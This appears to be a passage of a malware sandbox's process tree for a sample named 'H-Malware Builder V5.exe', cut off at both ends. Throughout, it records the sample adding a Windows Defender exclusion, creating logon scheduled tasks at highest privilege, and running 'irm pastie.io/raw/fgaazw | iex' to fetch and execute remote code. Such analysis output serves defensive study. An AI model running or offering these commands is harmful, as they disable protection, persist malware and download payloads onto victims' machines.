C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST34⤵
- Scheduled Task/Job: Scheduled Task
PID:892
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST34⤵
- Scheduled Task/Job: Scheduled Task
PID:3064
-
-
-
C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"33⤵PID:1752
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'34⤵
- Command and Scripting Interpreter: PowerShell
PID:2152
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"34⤵PID:2856
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell "irm pastie.io/raw/fgaazw | iex"35⤵PID:2056
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell "irm pastie.io/raw/fgaazw | iex"36⤵PID:896
-
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST35⤵
- Scheduled Task/Job: Scheduled Task
PID:2752
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST35⤵
- Scheduled Task/Job: Scheduled Task
PID:2644
-
-
-
C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"34⤵PID:2488
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'35⤵
- Command and Scripting Interpreter: PowerShell
PID:1916
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"35⤵PID:992
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell "irm pastie.io/raw/fgaazw | iex"36⤵PID:1288
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell "irm pastie.io/raw/fgaazw | iex"37⤵PID:2624
-
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST36⤵
- Scheduled Task/Job: Scheduled Task
PID:1980
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST36⤵
- Scheduled Task/Job: Scheduled Task
PID:944
-
-
-
C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"35⤵PID:2340
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'36⤵
- Command and Scripting Interpreter: PowerShell
PID:1620
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"36⤵PID:892
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell "irm pastie.io/raw/fgaazw | iex"37⤵PID:2144
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell "irm pastie.io/raw/fgaazw | iex"38⤵PID:3064
-
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST37⤵PID:2988
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST37⤵PID:2544
-
-
-
C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"36⤵PID:2904
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'37⤵
- Command and Scripting Interpreter: PowerShell
PID:1924
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"37⤵PID:2580
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell "irm pastie.io/raw/fgaazw | iex"38⤵PID:2576
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell "irm pastie.io/raw/fgaazw | iex"39⤵PID:552
-
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST38⤵
- Scheduled Task/Job: Scheduled Task
PID:2464
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST38⤵PID:1280
-
-
-
C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"37⤵PID:2416
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'38⤵
- Command and Scripting Interpreter: PowerShell
PID:996
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"38⤵PID:408
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell "irm pastie.io/raw/fgaazw | iex"39⤵PID:2340
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell "irm pastie.io/raw/fgaazw | iex"40⤵PID:2796
-
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST39⤵
- Scheduled Task/Job: Scheduled Task
PID:2860
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST39⤵PID:2404
-
-
-
C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"38⤵PID:1656
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'39⤵
- Command and Scripting Interpreter: PowerShell
PID:1916
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"39⤵PID:1284
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell "irm pastie.io/raw/fgaazw | iex"40⤵PID:2480
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell "irm pastie.io/raw/fgaazw | iex"41⤵PID:2840
-
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST40⤵PID:1704
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST40⤵
- Scheduled Task/Job: Scheduled Task
PID:2072
-
-
-
C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"39⤵PID:1148
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'40⤵
- Command and Scripting Interpreter: PowerShell
PID:1288
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"40⤵PID:1864
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell "irm pastie.io/raw/fgaazw | iex"41⤵PID:1532
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell "irm pastie.io/raw/fgaazw | iex"42⤵PID:1764
-
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST41⤵PID:2988
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST41⤵
- Scheduled Task/Job: Scheduled Task
PID:1256
-
-
-
C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"40⤵PID:1240
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'41⤵
- Command and Scripting Interpreter: PowerShell
PID:2508
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"41⤵PID:1968
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell "irm pastie.io/raw/fgaazw | iex"42⤵PID:896
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell "irm pastie.io/raw/fgaazw | iex"43⤵PID:2896
-
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST42⤵PID:3036
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST42⤵
- Scheduled Task/Job: Scheduled Task
PID:1364
-
-
-
C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"41⤵PID:1516
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'42⤵
- Command and Scripting Interpreter: PowerShell
PID:2688
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"42⤵PID:2844
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell "irm pastie.io/raw/fgaazw | iex"43⤵PID:648
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell "irm pastie.io/raw/fgaazw | iex"44⤵PID:1936
-
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST43⤵
- Scheduled Task/Job: Scheduled Task
PID:2036
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST43⤵PID:864
-
-
-
C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"42⤵PID:2480
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'43⤵
- Command and Scripting Interpreter: PowerShell
PID:1548
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"43⤵PID:2376
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell "irm pastie.io/raw/fgaazw | iex"44⤵PID:1576
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell "irm pastie.io/raw/fgaazw | iex"45⤵PID:1276
-
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST44⤵PID:2008
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST44⤵PID:1932
-
-
-
C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"43⤵PID:844
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'44⤵
- Command and Scripting Interpreter: PowerShell
PID:1544
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"44⤵PID:1792
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell "irm pastie.io/raw/fgaazw | iex"45⤵PID:2664
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell "irm pastie.io/raw/fgaazw | iex"46⤵PID:2964
-
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST45⤵PID:2608
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST45⤵PID:2616
-
-
-
C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"44⤵PID:952
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'45⤵
- Command and Scripting Interpreter: PowerShell
PID:2104
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"45⤵PID:3008
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell "irm pastie.io/raw/fgaazw | iex"46⤵PID:2584
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell "irm pastie.io/raw/fgaazw | iex"47⤵PID:2508
-
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST46⤵
- Scheduled Task/Job: Scheduled Task
PID:772
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST46⤵PID:1364
-
-
-
C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"45⤵PID:2172
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'46⤵
- Command and Scripting Interpreter: PowerShell
PID:2768
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"46⤵PID:1796
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell "irm pastie.io/raw/fgaazw | iex"47⤵PID:1044
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell "irm pastie.io/raw/fgaazw | iex"48⤵PID:1576
-
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST47⤵
- Scheduled Task/Job: Scheduled Task
PID:2776
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST47⤵
- Scheduled Task/Job: Scheduled Task
PID:2972
-
-
-
C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"46⤵PID:2572
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'47⤵
- Command and Scripting Interpreter: PowerShell
PID:1664
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"47⤵PID:2644
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell "irm pastie.io/raw/fgaazw | iex"48⤵PID:1668
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell "irm pastie.io/raw/fgaazw | iex"49⤵PID:3008
-
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST48⤵
- Scheduled Task/Job: Scheduled Task
PID:2964
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST48⤵
- Scheduled Task/Job: Scheduled Task
PID:916
-
-
-
C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"47⤵PID:2396
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'48⤵
- Command and Scripting Interpreter: PowerShell
PID:2764
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"48⤵PID:2372
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell "irm pastie.io/raw/fgaazw | iex"49⤵PID:1512
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell "irm pastie.io/raw/fgaazw | iex"50⤵PID:1924
-
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST49⤵PID:1892
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST49⤵PID:2204
-
-
-
C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"48⤵PID:1032
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'49⤵
- Command and Scripting Interpreter: PowerShell
PID:2340
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"49⤵PID:2760
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell "irm pastie.io/raw/fgaazw | iex"50⤵PID:1576
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell "irm pastie.io/raw/fgaazw | iex"51⤵PID:916
-
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST50⤵PID:2488
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST50⤵
- Scheduled Task/Job: Scheduled Task
PID:1592
-
-
-
C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"49⤵PID:2564
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'50⤵
- Command and Scripting Interpreter: PowerShell
PID:1240
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"50⤵PID:408
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell "irm pastie.io/raw/fgaazw | iex"51⤵PID:1720
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell "irm pastie.io/raw/fgaazw | iex"52⤵PID:2580
-
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST51⤵
- Scheduled Task/Job: Scheduled Task
PID:3064
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST51⤵PID:2700
-
-
-
C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"50⤵PID:1356
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'51⤵
- Command and Scripting Interpreter: PowerShell
PID:108
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"51⤵PID:2980
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell "irm pastie.io/raw/fgaazw | iex"52⤵PID:2660
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell "irm pastie.io/raw/fgaazw | iex"53⤵PID:1932
-
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST52⤵
- Scheduled Task/Job: Scheduled Task
PID:2292
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST52⤵
- Scheduled Task/Job: Scheduled Task
PID:1588
-
-
-
C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"51⤵PID:900
-
